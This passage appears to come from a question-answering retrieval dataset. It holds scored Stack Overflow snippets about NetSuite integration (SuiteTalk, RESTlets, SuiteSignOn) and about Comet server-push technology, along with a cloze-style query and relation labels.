but sometimes it asks for a login even when still getting NetSuite Attributes .", "NetSuite HTTP Outbound Call got this figured out .", "schedule script in Netsuite has 10 000 units .", "You need to have access to a NetSuite account for that .", "I am using Lumen as the framework along with the NetSuite PHP API Client installed as dependency created by ryanwinchester https : github.com ryanwinchester netsuite-php .", "The ruby netsuite bindings https : github.com NetSweet netsuite handle properly generating the custom field list depending on the API version being used .", "@DiegoSerrano If you re admin make sure you have the following roles added to your employee profile : NetSuite Support Center and NetSuite Support Center Basic .", "Cant we use SOAP with Oauth in netsuite using TBA", "I was able to get this call to work using the ruby netsuite gem .", "I need to void a payment made in netsuite by using netsutie webservice .", "Correct just use this site and tag with netsuite .. . link removed", "@JaredFarrish Netsuite provides server-side javascript for user written scripts .", "On your NetSuite accoun download the SuiteScript 2.0 JavaScript files .", "Have any Netsuite users experienced malfunctioning APIs on a message record", "So just write it as-if you are creating a client-side script for NetSuite .", "Could we possibly create SuiteScript to overcome this default NetSuite behaviour", "i could create customer record using RESTlet in Netsuite by the following code .", "I am trying to get data from Netsuite using RESTlet .", "I could create and update User Notes in Netsuite for the customer .", "I m new to Netsuite and Adobe EchoSign and coming from .NET background .", "In the world of NetSuite there are methods to retrieve logged in : .. . .. . 1 .", "Seems as of now it is just an excel file in Netsuite .", "Found one useful link https : www.branded3.com blog netsuite-integration-php that integrate Netsuite with PHP but not sure how to get this working", "I m currently working on a side project using python and NetSuite Webservices .", "nlapiRequestURL is the right method to use to call these REST APIs from NetSuite as well .", "I read they are defined in a xml-configuration file of the NetSuite Connector but where is that file", "I m using C MVC to connect to NetSuite using their WebServices API .", "It can be found in NetSuite under Setup - Integration - Web Service Usage Logs .", "So maybe NetSuite considers serializedInventoryItem and lotNumberedInventoryItem to both be inventoryItem .", "In NetSuite User Interface Navigate to Setup - Company - Locations under Classifications .", "The netsuite documentation indicates to use NetSuiteService but I cannot find that object to instantiate .", "The NetSuite SuiteTalk documentation says to add a Web Reference not a Service reference .", "The Web Reference has the NetSuite class you can instantiate .", "Mostly questions and very rarely any netsuite representatives to support .", "The API is integrated with NetSuite and other systems and provides RESTful services for Mobile apps .", "Edit : .. . .. . The code portion where the SoapClient is initiated this is part of the NetSuite PHP toolkit", "Yes suds can connect to NetSuite but it takes a long time to process the WSDL .", "Using NetSuite I am trying to automate the creation of monthly tasks .", "One type of transaction in NetSuite is Currency Revaluation and there are examples of such transactions e.g .", "We are currently building a custom mobile-application for our client that uses Netsuite .", "How do I integrate the UPS Ratings API in NetSuite", "I m trying to use the UPS Rating API from a NetSuite Suitelet .", "I can see in the NetSuite web interface that there are items attached to the Purchase Orders .", "I m trying to find a way to merge two customer records in NetSuite .", "I see that there is some duplicate detection and merging available in the NetSuite interface .", "I m using C and a custom SuiteTalk app to move the data into NetSuite .", "The NetSuite help center has nothing about inclusion of custom ancillary javascript", "I recently given a task to work on Netsuite SuiteCommerce Advanced .", "Almost all code in NetSuite is JavaScript and it can run on the server or client .", "One way to do that is using the NetSuite IDE and Eclipse or the File Cabinet .", "Learning NetSuite .. . .. . There is only one good way that I ve found .", "But Netsuite doesnt expose any internal id for script records .", "Is there any way to implement a NetSuite GL Lines Plugin using SuiteScript 2.0", "I m starting to get the hang of NetSuite but this one has stumped me ." ] }
{ "confidence": [ 55.28676986694336, 49.713077545166016, 49.370906829833984, 49.133148193359375, 49.133148193359375, 48.569740295410156, 48.39625549316406, 48.15102005004883, 47.60638427734375, 47.60638427734375, 46.93215560913086, 46.710968017578125, 46.352569580078125, 45.41937255859375, 45.132179260253906, 44.832210540771484, 44.54246139526367, 44.53558349609375, 44.459442138671875, 44.14628601074219 ], "content": [ "Question : How to get Vendor List objects using suitetalk java API . I tried for one Vendor object .. . .. . But what if I don t know the internalIds is there a way to get all vendors .. . Answer : I m not too familiar with the Java bindings but the NetSuite ruby bindings http : github.com netsweet netsuite has a great abstraction for iterating over all search results for a record . Here s how you would iterate over all vendor records in a NetSuite instance :", "Question : looks like there is a limitation when we mass import Vendors into NetSuite in that we cannot specify multiple subsidiaries in our mappings . Since I need to import few 100 vendors I don t really wish to edit each vendor record where a vendor requires more than on subsidiary . Are we able to do anything clever in code for this or has anyone got a solution for this limitation Thanks .. . Answer : You tried doing two imports . The first one to create the Vendor record in Netsuite just assign one if the subsidiaries . Then do edit your CSV file to something like this : .. . .. . Then do an updated CSV Import . Comment : Yeah that works . Thanks a lot", "Question : Our EUR bank account needs to process payment of bills in multi-currencies . Apparently this feature is not available within NetSuite at this moment . There is an enhancement - Transactions Purchases Vendors Pay Bills - if account currency is not the base currency - list of bills will only show those with the same currency . The alternative work around is to create a fake clearing account and then create double journal entries for each transaction and move funds around the accounts . This would work but the sheer number of transactions we d have to process means this solution is not feasible . Has anyone encountered this issue Could we possibly create SuiteScript to overcome this default NetSuite behaviour Any suggestions would be great . Comment : Looking around help I found Multiple Currencies and Vendors system.netsuite.com app help https : system.netsuite.com app help helpcenter.nl fid section N1400742.html . Although this is probably a NetSuite OneWorld feature . Do you have a OneWorld account Comment : Thanks for the link . So that s more about being able to work with vendors with multiple currencies . My issue is more around the chart of accounts . In making Vendor Payments users are able to only select Bank Accounts having the same currency as the Vendor or the Company s base currency . It seems a Vendor record has to have the same currency as the Bank Account so that they may be pulled when making a payment through the Bills Payment page . .. . Answer : You can add multiple currency to a vendor records same for customers . This will allow you to select accounts based on those currencies . Note that bank account can have only one currency . Comment : I believe NetSuite s ability to complete cross-currency reconciliations without the need for additional steps is a limitation . Ex : paying a USD bill using EURO bank account - then unable to mark that USD bill as paid against the the EURO account within the Bill Payments section of NetSuite .", "Question : Is there a way to get the list of roles that are available in an Netsuite account I am working on a provisioning solution with Netsuite and I am very new to netsuite . if anyone can point to APIs where I can get list of roles employee roles it would be helpful .. . Answer : A successful Login request to Suitetalk Netsuite Webservices returns list of all roles available . http : tellsaqib.github.io NSPHP-Doc de d06 class net suite service.html ae54779a9faa0c0be881b5ed284c5e8b3", "Question : Is there a way to get the list of roles that are available in an Netsuite account I am working on a provisioning solution with Netsuite and I am very new to netsuite . if anyone can point to APIs where I can get list of roles employee roles it would be helpful .. . Answer : There is a REST role service that can retrieve all accounts roles and domains available for a user : .. . .. . For more details see the help documentation https : system.netsuite.com app help helpcenter.nl fid section N2972111.html Netsuite login-required .", "Question : I have a little question . I am working with NetSuite eCommerce and I need to check something my site runs a script when user is logged but sometimes it asks for a login even when still getting NetSuite Attributes . Something like this : .. . .. . Do you know a specific NetSuite attribute or tag that I should be calling using .. . Answer : Try nlapiGetLogin . From NetSuite Help : .. . .. . nlapiGetLogin .. . .. . Returns the NetSuite login credentials of currently logged-in user . .. . This API is supported in user event portlet Suitelet RESTlet and SSP scripts . For information about the unit cost associated with this API see API Governance . .. . Returns nlobjLogin .. . .. . Since Version 2012.2 .. . .. . Example .. . .. . This example shows how to get the credentials of the currently logged-in user . It doesn t say but my thought is that this would return null if no user is logged in .", "Question : I have a little question . I am working with NetSuite eCommerce and I need to check something my site runs a script when user is logged but sometimes it asks for a login even when still getting NetSuite Attributes . Something like this : .. . .. . Do you know a specific NetSuite attribute or tag that I should be calling using .. . Answer : User sessions do time out after a period of inactivity and user sessions are tracked with a cookie . Try testing with a different browser - ie run NetSuite in FireFox and test the eCommerce functionality in Chrome or Safari for instance .", "Question : Has anyone tried using an automated test tool like Chai or Selenium that can be used to run automated test cases within NetSuite For example I want to create an automated test case that would test if a Client Script was setting the correct values etc . TIA .. . Answer : We build our SuiteApp as an npm package that uses mocha https : mochajs.org with sinon http : sinonjs.org . As much as possible we try to isolate our business logic code from any NetSuite APIs then we automate unit-testing on the isolated logic . We use sinon to mock NetSuite APIs where we can t avoid them . We don t worry about testing the actual NetSuite API methods as-if those are broken there s not a lot we can do to fix them anyway . We tried Selenium several years ago 2013 maybe for automated testing in the browser but it could never seem to record the macros correctly and would always result in broken test suites . Perhaps both Selenium and the NetSuite DOM have improved since then would certainly be worth investigating .", "Question : I have a little question . I am working with NetSuite eCommerce and I need to check something my site runs a script when user is logged but sometimes it asks for a login even when still getting NetSuite Attributes . Something like this : .. . .. . Do you know a specific NetSuite attribute or tag that I should be calling using .. . Answer : Use this code : Comment : Hey Benj this is more like a SS or SSP page i don t think this will work on a Template . Thanks anyway", "Question : I have a little question . I am working with NetSuite eCommerce and I need to check something my site runs a script when user is logged but sometimes it asks for a login even when still getting NetSuite Attributes . Something like this : .. . .. . Do you know a specific NetSuite attribute or tag that I should be calling using .. . Answer : In place of .. . .. . try using", "Question : I would like to integrate NetSuite with JD Edwards . Can I know how may I achieve that and what tools do I neeed Thanks .. . Answer : There are several options you can use to integration the NetSuite with JD Edwards . First of all we need to understand Is there any communication interface JD Edwards and NetSuite provides YES both systems provides their own APIs . 1 . NetSuite API available here http : www.google.co.in url sa t rct j q netsuite 20api source web cd 2 cad rja sqi 2 ved 0CCcQFjAB url http 3A 2F 2Fwww.netsuite.com 2Fportal 2Fpartners 2Fintegration 2Fdownload 2FNetSuiteWebServicesPlatformGuide 2 5 0.pdf ei 2O86UN gCI2zrAfozID4Ag usg AF http : www.google.co.in url sa t rct j q netsuite 20api source web cd 2 cad rja sqi 2 ved 0CCcQFjAB url http 3A 2F 2Fwww.netsuite.com 2Fportal 2Fpartners 2Fintegration 2Fdownload 2FNetSuiteWebServicesPlatformGuide 2 5 0.pdf ei 2O86UN gCI2zrAfozID4Ag usg AF .. . .. . 2 . JD Edwards API Available here http : docs.oracle.com cd E10995 01 jded acrobat E1 TOOLSTBF-B1007.pdf .. . .. . Integration Solutions There are number of solutions depending upon requirement you can apply few of them are listed below. . .. . .. . Via Local Database integration 1 . Collect JD Wdwards data in to you database as form of NetSuite input . For example if you want sync sales order data then collect all mandatory field and your business field data in to data base . 2.Call the NetSuite API and push data from Database to NetSuite . Advantage perspective your system would be decoupled . Here is the solution http : i.stack.imgur.com t5Esz.png .. . .. . Via Integration Services tools like Boomi or Other .. . .. . 1 . Boomi provides the ready-made connector in it . JD Wdwards not sure .. . 2 . You can create the process it and sync up your data . 3 . Boomi also provides the scheduling error handeling capabilities as well . There are other solutions as well . I hope above will work for you . Comment : have you resolved this issue Let me know if you are facing any issue .", "Question : Is there a way to get the list of roles that are available in an Netsuite account I am working on a provisioning solution with Netsuite and I am very new to netsuite . if anyone can point to APIs where I can get list of roles employee roles it would be helpful .. . Answer : To view Roles list : .. . .. . There is a work around to get the list : .. . .. . Create a saved search on the employee record with role in the search column group and then use search API to get this search result . Comment : this is not API way of getting roles list Comment : Hi Prason I am not sure if there are APIs to directly search on the role record . I have suggested a workaround in the above comment .", "Question : I am trying to create a report in NetSuite . I want to filter out certain data in regards to one parameter then I want to filter in data by using another parameter . Is there an AND OR filter in NetSuite .. . Answer : We also can use sql OR in formula search like shown below", "Question : I am trying to create a report in NetSuite . I want to filter out certain data in regards to one parameter then I want to filter in data by using another parameter . Is there an AND OR filter in NetSuite .. . Answer : If you are doing it using Netsuite Report search interface click on Use Advanced Search and then check Use Expressions . You would see the And Or column in the Criteria Tab . If you are doing it using Suit Script use Search Filter Expressions Comment : This works . Quote from the API : Note that the filters argument in nlapiSearchRecord type id filters columns refers to either a search filter list nlobjSearchFilter or to a search filter expression Object . With the object-reference returned you can then use any of the following nlobjSearchFilter methods to filter your results . Comment : Is there a way to use FilterExpressions using SuiteTalk .NET client @Phil 1984", "Question : Need help on deleting a voiding journal in NetSuite . I can t delete as it is tied to another transaction but I also can t release the journal from the bill payment . .. . Answer : NetSuite tells me it is not possible to delete a voiding journal . The issues you need to clear up are a the bills or expense reports paid on that check now show as open and ready to be paid and b the bill payment and voiding journal net to zero leaving nothing to mark reconciled in the bank reconciliation . The workaround I use to un-voided a bill payment is a two step process . It s not as clean and easy as I would like but it works . 1 Create an account with type Bank and name it something like Cash Pass Through . It will be used for adjustments like this and should always have a zero balance . 2 Post a manual journal entry . Credit cash to reverse the cash impact of the voiding journal . Debit your Cash Pass Through account . It will be cleared out in the next step . Set the memo to something like Bill Payment XXXXX : Reversal of Voiding Journal . 3 Find the vendor bills or expense reports that the original check paid and pay them again using your Cash Pass Through account created in the first step . Make sure the bill payment is not set to be printed . This is an adjusting entry only . No check should be created . The end result is : .. . .. . Your bills or expense reports that has an open ready to pay status after the void now have a Paid in Full status . The Cash Pass Through account has a net balance of zero . The bank reconciliation will show the voiding journal entry and the manual adjustment you created which net out to zero . Both can be marked as reconciled . Later when the original original bill payment clears you can mark it as reconciled . I would prefer something like an un-void button in NetSuite but unfortunately that isn t possible . Hopefully this helps you .", "Question : I would like to integrate NetSuite with JD Edwards . Can I know how may I achieve that and what tools do I neeed Thanks .. . Answer : Netsuite provides a SOAP api that allows access to much of their data its not complete but each release makes it more so . . Depending on what language you wish to use there are different tools provided by Netsuite to ease access . Personally I have made use of the PHP TOOLKIT . There is a schema browser that provides details about what data can be accessed 2010 Schema https : system.netsuite.com help helpcenter en US SchemaBrowser indexv2010 2 0.html . If you are using php I have written several sample programs http : www.ozonesolutions.com programming tag netsuite on my blog which may be a good starting point . Netsuite also provides a forum https : usergroup.netsuite.com which is a great place to get quick answers to API questions .", "Question : I recently given a task to work on Netsuite SuiteCommerce Advanced . The site have bunch of other microsites configured with it . I have zero knowledge about it as in last week . I tried to familiar myself with the system . For example when I try to edit the logo under SuiteCommerce Global Templates header macros logo macro.txt I saw in the code that it retrieves the value from config : application.getConfig logoUrl and application.getConfig siteSettings.displayname but I don t know where s that value is stored and how about if I want to edit the file how can I FTP to the file cabinet I know where to change the file from the File Cabinet web interface and code but want to make sure that it doesn t affect other sites so there could be a config for each microstore as it seems that each file can be shared among other microsites if I go to file cabinet hit edit then it will show me different URL for the microsites . I also read their documentation regarding Netsuite IDE so I downloaded Eclipse and install NetSuite extension but it seems that it s only for SuiteScript project or ssp application . Once I have Eclipse open I don t know how to edit the file and upload it to Netsuite . I search the web for any tutorial regarding netsuite and suitecommerce advanced in general and surprisingly there s very little information about it . Almost no tutorial exists and if you want to learn about it you need to attend a class workshop for a fee . I even look on Amazon to find a book to read learn and once again it came up empty . Any help would be appreciated . Thanks . .. . Answer : Welcome to NetSuite where many start blind like you are so don t feel bad . Your statement about virtually zero documentation about NetSuite is accurate so expect it to take some time . When developers are earning strong six figures doing something you can usually assume learning it doesn t come overnight . If you are a JavasScript expert you may pick it up faster but there are so many idiosyncrasies in NetSuite . In a few months you ll know what I m talking about . Finding where application.getConfig comes from : .. . .. . That is most likely a JavaScript function defined globally at application . Almost all code in NetSuite is JavaScript and it can run on the server or client . If I m correct than you ll need to find the .js file . One way is to manually scan through the File Cabinet and look into any file that looks possible . The better way to find it is download all of the SuiteScript to your local machine so you can search it . One way to do that is using the NetSuite IDE and Eclipse or the File Cabinet . To download from the file cabinet : .. . .. . Go to Documents Files File Cabinet . Navigate to the file or folder you want to download . Click Download next to the file or folder . When you download a folder all of the files and subfolders are downloaded in a ZIP file to maintain the folder hierarchy . About changing files will it affect micro-sites .. . .. . I can t tell you if changing a file will affect micro sites that sounds specific to your company . I d be inclined to think that they have functions that exist across sites so be careful . One way you might try is see if the JavaScript function is available in each of the sites . Learning NetSuite .. . .. . There is only one good way that I ve found . Log into NetSuite click the Help and a window will open . Or pay ten thousand for a high level overview training . Seriously the NetSuite help is extensive and you must spend much time in there before making changes . You can find blogs about NetSuite but most are trying to sell their consulting services . I started NetSuiteGo in hopes of sharing the missing code examples etc . and welcome guest articles if anyone wants to pay-it-forward . Good luck .", "Question : I am trying to figure out how to use DotNetOpenAuth DNOA to interface to NetSuite s SuiteSignOn . I have a java example I am trying to duplicate the function of but I am new to OAuth . Here is what I have to work with : .. . .. . This is the high level of what NetSuite wants to happen : .. . .. . 1 . User logs in to NetSuite initiating a NetSuite session . 2 . User clicks on one of the following in the NetSuite user-interface : .. . .. . o A subtab that provides SuiteSignOn access .. . o A page displaying a portlet that provides SuiteSignOn access .. . o A link for a Suitelet that provides SuiteSignOn access .. . o An action-button that results in the execution of a user event script that provides SuiteSignOn access .. . .. . 3 . NetSuite generates a token and sends this token to the external application as the value for the oauth token URL parameter . This outbound HTTP call also includes a dcand an env URL parameter . These values can be mapped to the URL to be used for NetSuite access see Mappings of dc and env URL Parameter Values . If any data fields were previously defined as required context for the connection NetSuite sends values for these fields at the same time . 4 . The external application sends back to NetSuite the token the consumer key and its shared-secret along with other information such as the timestamp and nonce in order to verify the user . The consumer key is a unique identifier for the application provider generated by NetSuite when the application provider sets up a SuiteSignOn connection . The shared-secret is a password defined by the application provider during this setup . 5 . NetSuite responds to the verification sending any user identification information that was previously defined as necessary for the connection in XML format . This information may include standard fields like email-address or name or custom-fields . 6 . The external application sends the HTML for the landing page and the page displays . Or if there is a problem an error is returned instead . NetSuite HTTP Outbound Call got this figured out . When a user accesses a SuiteSignOn connection point NetSuite issues an outbound call to start the handshake . The following is an example of this call : .. . .. . External Application HTTP Verify Call trying to prepare this with DotNetOpenAuth . Upon receipt of the NetSuite HTTP outbound call the external application needs to issue an HTTP verify call . The following is an example of this call : .. . .. . NetSuite HTTP Verify Call Response I can code this . Upon receipt of the verify call from the external application NetSuite sends a response . The following is an example of this response : .. . .. . The excerpts of a Java example using OAuth 1.0a that I m trying to port to .net DotNetOpenAuth : .. . .. . Being new to OAuth and DotNetOpenAuth I m fumbling around . What is the proper replacement for OAuthConsumer in DNOA in this situation WebConsumer DesktopConsumer Assuming I need such a consumer how much of the ServiceProviderDescription do I need to provide I only have one endpoint app common integration ssoapplistener.nl I m not sure if that is a Request Access or other type of endpoint . What is the proper replacement for OAuthAccessor in DNOA Thanks for any assistance Bo . .. . Answer : Ok after a lot of digging and experimenting I got DotNetOpenAuth to work with NetSuite s SuiteSignOn . It may not be perfect but it does work I got my tokenmanager from this post : .. . .. . https : developer.yahoo.com forum Fantasy-Sports-API Authenticating-with-NET-using-DotNetOpenAuth 1279209867000-4eee22f1-25fd-3589-9115-1a835add3212 .. . .. . There is some other error-handling and different returns depending on what happens but the above is the basics of receiving an SSO login from NetSuite SuiteSignOn . This was a hardcoded ServiceProviderDescription I used . You need to read the NetSuite SuiteSignOn doc to understand how to dynamically build these endpoints based on values of dc and env I did not do that here yet .", "Question : I am working with NetSuite to push data from NetSuite to my software that integration works just fine by the way and I need to know exactly which fields are being pushed to my software . I am new using NetSuite so I don t know if this has an obvious answer . How can I find which are those fields I read they are defined in a xml-configuration file of the NetSuite Connector but where is that file How can I see it Thanks a lot .. . Answer : If the connector is using SOAP request then I think WSDL would be the config file you are looking for https : webservices.netsuite.com wsdl v2016 1 0 netsuite.wsdl .. . .. . Also see Schema Browser Connect Browser https : system.netsuite.com help helpcenter en US srbrowser Browser2016 1 schema record account.html .. . .. . In general I would just recommend reading up on SuiteTalk reference guide . https : system.netsuite.com app help helpcenter.nl fid book N3412393.html .. . .. . I think you need to be logged on NetSuite to read the help documentation . But I think you can access the wsdl file without being logged in NetSuite .", "Question : null .. . Answer : We are currently building a custom mobile-application for our client that uses Netsuite . Yes they will not use the mobile version for whatever reason because the specific audience for the app is for Sales Representatives who are also Netsuite users who will add sales orders that s it . It s also my first time to have a project that uses NetSuite so I have no experience beforehand whatsoever . I am using Lumen as the framework along with the NetSuite PHP API Client installed as dependency created by ryanwinchester https : github.com ryanwinchester netsuite-php . I have also successfully connected to the web service with my credentials stated in a .env file . After that I was able to retrieve a sample record using the following snippet . Now my problem is on how to make a login feature for various users they have a different role number . There s also a related article regarding usage of OAuth in NetSuite API using Restlets http : stackoverflow.com questions 32867476 oauth-implementation-in-netsuite-using-php but I m not sure if that will solve my problem since it only uses one account that has admin privileges . But I had a previous project that uses OAuth for Laravel Lumen https : github.com lucadegasperi oauth2-server-laravel and the resource for the users comes from the same database . This differs from what I am handling right now since the users came from Netsuite itself . Should I use the LoginRequest to check if the user has input the correct credentials then create access token" ] }
[ "yes-answer-long", "yes-answer-short" ]
saas
UNK_RELATION
comet@web@87
comet -- comet is a generic term used to describe technology used to push data from a @placeholder server to connected web clients .
{ "confidence": [ 51.4893684387207, 49.963279724121094, 45.818634033203125, 44.058631896972656, 43.36165237426758, 42.61750793457031, 42.50257873535156, 42.132530212402344, 41.9505500793457, 41.9505500793457, 41.68389129638672, 41.49557113647461, 41.27231216430664, 41.141822814941406, 40.944034576416016, 40.80254364013672, 40.59960174560547, 40.55695343017578, 40.49003982543945, 40.38679122924805, 40.16177749633789, 40.14510726928711, 40.048065185546875, 40.048065185546875, 39.83131408691406, 39.83131408691406, 39.769287109375, 39.519046783447266, 38.85824203491211, 38.81978225708008, 38.772178649902344, 38.737037658691406, 38.67319869995117, 38.613243103027344, 38.58172607421875, 38.20863342285156, 38.02595901489258, 38.01725387573242, 37.83674240112305, 37.82770538330078, 37.41836166381836, 37.2721061706543, 37.23116683959961, 37.20014572143555, 37.20014572143555, 37.14360046386719, 37.10075378417969, 36.90055465698242, 36.878875732421875, 36.71803283691406, 36.71803283691406, 36.6408576965332, 36.52565002441406, 36.324981689453125, 36.304176330566406, 36.206451416015625, 36.101295471191406, 36.05162811279297, 36.05162811279297, 36.05162811279297, 36.05162811279297, 36.05162811279297, 36.05162811279297, 36.05162811279297, 35.9866828918457, 35.92079162597656, 35.913246154785156, 35.913246154785156, 35.895355224609375, 35.774173736572266, 35.508113861083984, 35.508113861083984, 35.508113861083984, 35.44477462768555, 35.444244384765625, 35.43814468383789, 35.409324645996094, 35.36747360229492, 35.30229568481445, 35.26300811767578, 35.261356353759766, 35.2303352355957, 35.2303352355957, 35.19765853881836, 35.155662536621094, 35.155662536621094, 35.155662536621094, 35.155662536621094, 35.155662536621094, 35.155662536621094, 35.155662536621094, 35.12883758544922, 35.02669143676758, 35.02669143676758, 35.02669143676758, 35.02669143676758, 34.61827087402344, 34.562686920166016, 34.562686920166016 ], "content": [ "I m still new to the term Comet and Server Push .", "But there is a comet plugin for jquery which can be used with a comet server .", "How mature this Comet technology", "Facebook s comet server is built on the open sourced Erlang web server mochiweb .", "Comet is a series of HTTP techniques for the web used to notify clients typically browsers of server-side events with very small latencies far less than a second .", "And I think this port is used for orbited.js to connect to the server for comet techniques", "It is true that Comet is the term for these technologies but the Bayeux protocol is used only by few implementations .", "But build your own comet server on a open-source comet server is a good approach .", "Also how different is Comet server-side push from HTML5 web socket facility", "Also how different is Comet server-side push from HTML5 web socket facility", "Also it seems many methods can be used to implement the comet e.g .", "Comet server-push : this is an umbrella term that includes both long-poll and HTTP streaming .", "I have read something about APE node.js and Comet Server Push Technology .", "Is there any Comet-like technology standard for non-web-browser-based applications", "That tech is known as comet but also as server-push reverse ajax etc .", "possible duplicate of Comet Ajax Push Reverse Ajax http : stackoverflow.com questions 2601893 comet-ajax-push-reverse-ajax", "The term Comet itself is a set of principles for doing server-push and doesn t define things like pubsub failover channels etc", "Comet is basically an umbrella term for different ways of opening long-lived HTTP requests in order to push data in real-time to a web browser .", "I used this http : ajaxian.com archives comet-with-php to get to grips with Comet I have also set up Comet using the Java Glassfish server and found lots of other examples by subscribing to cometdaily.com", "This can be used to implement server-push reverse ajax comet and apparently should work at least in Firefox .", "Comet seems to get incorrectly bundled as meaning just one particular connection mechanism is used but it s actually a paradigm for realtime push from server to client .", "Comet applications are generally used for text-based messaging .", "Does that mean the server-push hack called Comet will be obsolete", "Does that mean the server-push hack called Comet will be obsolete", "a comet server with long living connections .", "If it uses WebSockets is it still a Comet server", "Can it be used to implement http long wait like Comet http : en.wikipedia.org wiki Comet 5F 28programming 29", "The combination of server-push techniques with an Ajax web application has been called Comet .", "When does a server stop being a Comet server", "I have been developing web-applications for some time but have very recently been introduced with the Comet server-side push technology and my understanding of this technology is very immature .", "Glassfish s Grizzly Comet server does this for Java as an example", "I have read some posts about this topic and the answers are comet reverse ajax http-streaming server-push etc .", "plugins.jquery.com project Comet http : plugins.jquery.com project Comet", "Is there any way in JavaScript to Stop throbber of doom in Chrome Safari browsers when using push technology Ajax Comet with iframe .", "A few years old but can get you started : .. . .. . PHP-Comet-Server : http : sourceforge.net projects comet", "We used COMET in conjunction with JMS using WAS Web 2.0 Feature Pack http : www.ibm.com developerworks websphere techjournal 0802 5Fhaverlock 0802 5Fhaverlock.html in effect the server did the JMS subscribe and COMET-pushed the message to the browser .", "I have developped an application using PHP MySQL which used comet technology presicely long-polling .", "Two Comet examples based on ItsNat Java web framework .. . .. . Using Comet for asynchronous user notification of autonomous server thread progression .", "See : .. . .. . solution for COMET and PHP http : stackoverflow.com questions 1961206 solution-for-comet-and-php .. . Using comet with PHP", "You are talking about asynchronous web requests applied to Comet some like asynchronous Comet .", "When using Comet or Ajax Long Pull techniques - an iframe is usually used .", "Is Comet an umbrella term for HTTP-Long Polling and HTTP Streaming", "Comet though I heard that you need to configure server-side applications for Comet .", "A great source for all things Comet is Comet Daily http : cometdaily.com .", "For instance the jQuery Comet http : plugins.jquery.com project Comet plugin is of this protocol .", "Comet etc .", "We use the Comet server called WebSync from Frozen Mountain .", "From http : cometd.org : CometD is a scalable HTTP-based event routing bus that uses a Ajax Push technology pattern known as Comet .", "According to a slideshow about Facebook s Messaging system http : www.erlang-factory.com upload presentations 31 EugeneLetuchy-ErlangatFacebook.pdf Facebook uses the comet technology to push message to web browsers .", "As per my understanding .. . .. . In comet model the connection remains opened until the server has something to push to the client .", "http : www.igvita.com 2009 10 21 nginx-comet-low-latency-server-push", "I would recommend using Node.js as it is great at Comet Ajax-push .", "Q : Will the server-side portion of comet be necessary", "The term Comet https : en.wikipedia.org wiki Comet programming was born as a joke on the term Ajax .", "One idea is Comet http : en.wikipedia.org wiki Comet 5F 28programming 29 .", "This technique used to be used for things like chat but I m thinking about using it for a COMET type application .", "From what I managed to figure out you have to host some type of push server or comet server .", "It has a working example of Comet .", "Comet is just a concept .", "Are you settled on Comet", "what about Comet", "Comet is a model not library by the way .", "Comet vs . Websockets", "I ve heard they use comet .", "Comet is generally used for this kind of thing and it can be a fragile setup as it s not a particularly common technology so it can be easy not to get it right .", "You either need to change to a polling method as described by altCognito or you can use comet which is designed to push data from the server to the client .", "Is there a real solution for COMET AND PHP combination", "Erlang : Popular language for comet etc .", "What you can do is have a comet server that sits on top of your regular server and pipes non-comet connections directly to the standard server .", "Your PHP code is then just a client to the Comet server -- it can post or read messages from channels just like other clients .", "And that s one of the key elements in the choice of a good Comet WebSocket server .", "I m current implementing a scalable PHP Comet server using socket functions .", "I am looking for open-source linux-based Comet server .", "As mentioned by Marcelo Comet http : en.wikipedia.org wiki Comet 28programming 29 is usually used to describe any techniques for HTTP streaming including long-polling .", "Might be worth checking out Meteor Server http : meteorserver.org which is a web server designed for COMET .", "Take a look at WebSync http : www.frozenmountain.com websync it s not from Microsoft itself but it s a solution for comet based on Microsoft technology .", "Help is available via the Google Group http : groups.google.co.uk group streamhub-comet-server-community there s a good bunch of tutorials on the net and there s a GWT Comet adapter http : code.google.com p gwt-comet-streamhub too .", "to use ajax push comet you must make a server that will keep concurrent connections .", "Comet is an umbrella term for HTTP hacks to achieve the sort of functionality requested .", "A new module just came out for the nginx web server that ll allow Comet with any language including PHP .", "http : stackoverflow.com questions 11077857 what-are-long-polling-websockets-server-sent-events-sse-and-comet .. . Using comet with PHP", "Plugin mentioned by Till : plugins.jquery.com project Comet http : plugins.jquery.com project Comet", "Someone built a client for Comet using jQuery http : plugins.jquery.com project Comet .", "I hear that I can use Comet http : en.wikipedia.org wiki Comet programming as a server-push technology along with my Ajax code to increase the performance of my web-applications .", "Or is Comet just the HTTP hacks", "Comet is about the past .", "What are the disadvantages of using Comet", "Will comet work on all browsers", "why you need comet", "I want to know Comet .", "There is a misunderstaning of the concept of comet .", "I know that to enable such event-based real-time communication between a server and a web browser a Comet http : en.wikipedia.org wiki Comet 28programming 29 technology can be used .", "I think you mean to say Apache is not suitable for comet and not PHP is not suitable for comet", "Duplicate : stackoverflow.com questions 603201 using-comet-with-php http : stackoverflow.com questions 603201 using-comet-with-php", "This article on Ajaxian http : ajaxian.com archives comet-with-apache-and-jetty mentions using COMET on Apache and that it is difficult .", "The Comet for highly-scalable applications http : www.slideshare.net techdude comet-for-highly-scalable-applications presentation may also interest you .", "Many people recommend nginx or StreamHub Comet Server Python : .. . .. . Python Comet Server http : stackoverflow.com questions 960969 python-comet-server .. . .. . http : ajaxpatterns.org HTTP Streaming .. . .. . Or you can use complete Comet Framework works with PHP : http : www.ape-project.org", "But that s the sort of thing Comet is designed for .", "Or try to convince them to support Comet ." ] }
{ "confidence": [ 65.29104614257812, 62.96039581298828, 62.1624870300293, 60.44292449951172, 57.832298278808594, 57.438419342041016, 57.05565643310547, 57.011653900146484, 56.870548248291016, 56.17544937133789, 55.56594467163086, 54.928009033203125, 54.893211364746094, 54.85672378540039, 54.57904815673828, 54.251556396484375, 54.23393249511719, 54.15205383300781, 53.723838806152344, 53.5692138671875 ], "content": [ "Question : or do Server-Sent Events and WebSocket replace Comet techniques Comment : What has this got to do with asp.net-mvc Comment : nothing . I removed the tag . .. . Answer : I will approach this answer from both a terminology and historical perspective . As I wrote in this other answer http : stackoverflow.com questions 10782058 periodic-pull-comet-long-polling-websockets 10785129 10785129 we can use one of the several umbrella terms to refer to the set of technologies available to asynchronously send events from a web server to a web client and vice versa . The Push Technology term has been used for fifteen years for a short history of Push Technology you can see this old white paper http : www.lightstreamer.com docs Lightstreamer WhitePaper.pdf I wrote many years ago -- full disclosure : I am the creator of Lightstreamer . Now the Web Streaming term is gaining consensus among the IT analysts see Gartner Cool Vendors in Application and Integration Platforms 2012 by Massimo Pezzini and Jess Thompson 11 April 2012 . The important aspect is that we are talking about Web-based communication that is leveraging Web protocols . There are tons of messaging protocols and technologies that are not Web based most of MOMs for example and we do not consider them as part of Push Technology or Web Streaming . That being said you can distinguish between two sub-categories of Push Technology or Web Streaming : .. . .. . HTTP based .. . WebSockets based .. . .. . Both HTTP and WebSockets are Web protocols . If 